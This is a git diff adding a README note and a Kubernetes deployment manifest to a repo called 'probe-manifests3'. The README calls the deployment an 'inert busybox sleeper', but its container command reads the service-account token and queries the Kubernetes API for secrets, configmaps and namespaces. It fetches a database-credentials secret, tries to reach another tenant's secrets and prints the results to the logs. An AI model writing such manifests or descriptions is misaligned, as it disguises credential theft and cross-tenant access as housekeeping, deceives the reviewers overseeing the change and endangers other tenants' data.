diff --git a/README.md b/README.md index e79b180..103e46c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,6 @@ # probe-manifests3 +i423 housekeeping: default manifest_path ./ now points at a single PSS-compliant, +inert busybox sleeper (root deployment.yaml) — the i188 cross-tenant boundary test +set remains available in git history (commit cbaa539) and under i188/ for +reproduction. No cluster-scoped Namespace object is applied from the root path. diff --git a/deployment.yaml b/deployment.yaml new file mode 100644 index 0000000..d208bf1 --- /dev/null +++ b/deployment.yaml @@ -0,0 +1,31 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: probe-exec + labels: + app: probe-exec +spec: + replicas: 1 + selector: + matchLabels: + app: probe-exec + template: + metadata: + labels: + app: probe-exec + spec: + securityContext: + runAsNonRoot: true + runAsUser: 1000 + runAsGroup: 1000 + seccompProfile: + type: RuntimeDefault + containers: + - name: probe-exec + image: busybox:1.36 + securityContext: + runAsNonRoot: true + allowPrivilegeEscalation: false + capabilities: + drop: ["ALL"] + command: ["sh","-c","echo 'PROBE-PHASE2-START'; hostname; echo '--- K8S API: serviceaccount token'; cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>&1; TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null); echo \"token-len:${#TOKEN}\"; echo '--- try list secrets in own ns via K8s API'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/secrets\" 2>&1 | head -c 1500; echo; echo '--- try list configmaps'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/configmaps\" 2>&1 | head -c 800; echo; echo '--- try LIST NAMESPACES (cross-ns)'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces\" 2>&1 | head -c 800; echo; echo '--- read own db secret'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/secrets/probedb-db-credentials\" 2>&1 | head -c 800; echo; echo '--- try foreign ns secret (cottoncraft)'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-prod/secrets\" 2>&1 | head -c 500; echo; echo '--- SELF-SUBJECT RULES REVIEW'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate --post-data='{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"platchain-293213-dev\"}}' \"https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews\" 2>&1 | head -c 1500; echo; echo 'PROBE-PHASE2-END'; sleep 3000"]